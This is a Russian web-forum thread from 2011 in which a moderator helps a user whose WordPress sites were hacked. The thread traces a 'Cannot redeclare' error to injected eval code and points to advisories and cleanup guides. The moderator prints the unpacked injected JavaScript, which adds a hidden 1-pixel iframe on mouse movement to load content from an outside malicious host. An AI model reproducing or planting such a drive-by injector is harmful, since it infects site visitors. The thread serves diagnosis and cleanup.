Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Проблемная строчка в WP

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

pentoss

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Привет. В футере сайта на WP появилась даннная строка: Fatal error: Cannot redeclare _765258526() (previously declared in /home/p/procsi/windows7seven.ru/public_html/wp-content/themes/Grey100/footer.php(88) : eval()'d code:1) in /home/p/procsi/windows7seven.ru/public_html/index.php(18) : eval()'d code on line 1
 
Где найти причину возникновения? Спасибо...

Всего записей: 4 | Зарегистр. 17-11-2011 | Отправлено: 17:04 17-11-2011
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
pentoss
1) WordPress
2) ну так посмотрите указанный файл и строку
странно, что там вообще есть функция eval - подозрительно смахивает на левый код, возможно даже был взломан сайт и вставлены части для заражения посетителей
скачал какую то grey100 тему, так там в футере вообще нет и 80 строк.
 
Что у вас там за накрутка вообще в нижней части?

Код:
function MakeFrameEx() {
    element = document.getElementById('yahoo_api');
    if (!element) {
        var el = document.createElement('iframe');
        document.body.appendChild(el);
        el.id = 'yahoo_api';
        el.style.width = '1px';
        el.style.height = '1px';
        el.style.display = 'none';
        el.src = 'http://bdgnfd.nl-web.net/showthread.php?t=46340270'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) {
    document.onmousemove = MakeFrameEx
}

это распакованный js элемент
ну да.. по ссылке из него, что открывается в iframe, явно нездоровая фигня - так как сильно обфускирована

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 19:21 17-11-2011 | Исправлено: Cheery, 19:25 17-11-2011
pentoss

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Вот футер - http://imageshack.us/photo/my-images/36/1711k.jpg/[/img]
Вот индекс файл - http://imageshack.us/photo/my-images/825/1712e.jpg/[/img]
eval  там и близко нет

Всего записей: 4 | Зарегистр. 17-11-2011 | Отправлено: 19:40 17-11-2011
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
pentoss
http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526
да взломали же, говорю.. раз так неожиданно и кучу сайтов - значит нашлась новая уязвимость в скрипте
нет в footer.php вообще 80 строк, в том, что скачал с этим названием темы..
нехороший код, как написано, вставлен в кучу index.php файлов движка
он же, наверно, и вызывается при обработке стандартных его функций.
 
что и говорил - уязвимость от 14 ноября
http://secunia.com/advisories/46835/
или какая то из этих
http://secunia.com/community/advisories/search/?search=wordpress
 
установлен Wordpress Zingiri Web Shop Plugin ?
 
 
В index.php вставляется вот это  
   
или аналогичное
 
а так как, по описанию, WP использует два index.php, то тут взломщик обломался - его код переопределяет сам себя (свою функцию), отсюда и сообщение об этом.
 

Цитата:
The malware code (from clients end perspective – view source) is in your footer this time (last 2 lines), however the files affected by the virus are Index.php (wordpress -index.php and the theme’s index.php)


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 19:42 17-11-2011 | Исправлено: Cheery, 20:24 17-11-2011
pentoss

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Оболдеть... У меня на всех WP такая же фигня, начинаю удалять. Спасибо за ссылочки - оказывается не я один такой.

Всего записей: 4 | Зарегистр. 17-11-2011 | Отправлено: 20:12 17-11-2011
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
pentoss

Цитата:
У меня на всех WP такая же фигня, начинаю удалять.

сначала дыру надо прикрыть.. то есть выяснить через что точно происходит заражение.
смотрите время изменения index.php файлов, потом http логи анализируйте
понятно будет через что лезет, это и надо подправить или отключить
 
а вот, кстати, что  
http://www.victorciobanu.com/how-to-remove-mwjsdepack/
это по поводу того js кода, что у вас есть.. похоже вы не одну "прелесть" поймали, так как она старая, судя по датам
 
 
а вот это по поводу того, о чем создали тему
http://www.victorciobanu.com/how-to-remove-cannot-redeclare/

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 20:18 17-11-2011 | Исправлено: Cheery, 20:22 17-11-2011
fooser

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Перед удалением для начала бы неплохо посмотреть на код который там eval, неплохо бы заменить eval на echo и посмотреть что там хотят сделать.
 
Кстати конструкции вроде eval(base64decode('тарабарщина из кракозябров')); часто используют не очень добросовестніе создатели тем для вордпресс, этакая "обфускация", для примера вот - http://www.templates-for-free.biz/?p=172 . соответственно поудаляв подобніе места в коде мы просто добьемся лишь нарушения работоспособности темы, т.к. в этих "закодированных" участках полезный и нужный для функционирования темы код мешается с кодом, который нужен для других привходящих мотивов, вроде параноической защиты от подмены или удаления блоков копирайта и до распространения троянов и вирусни.

Всего записей: 12 | Зарегистр. 11-05-2010 | Отправлено: 02:05 18-11-2011
pentoss

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
ДЛя таких кодов есть декодеры, которые переделывают на бесполезный код.

Всего записей: 4 | Зарегистр. 17-11-2011 | Отправлено: 10:24 18-11-2011
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » Интернет » Web-программирование » Проблемная строчка в WP


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru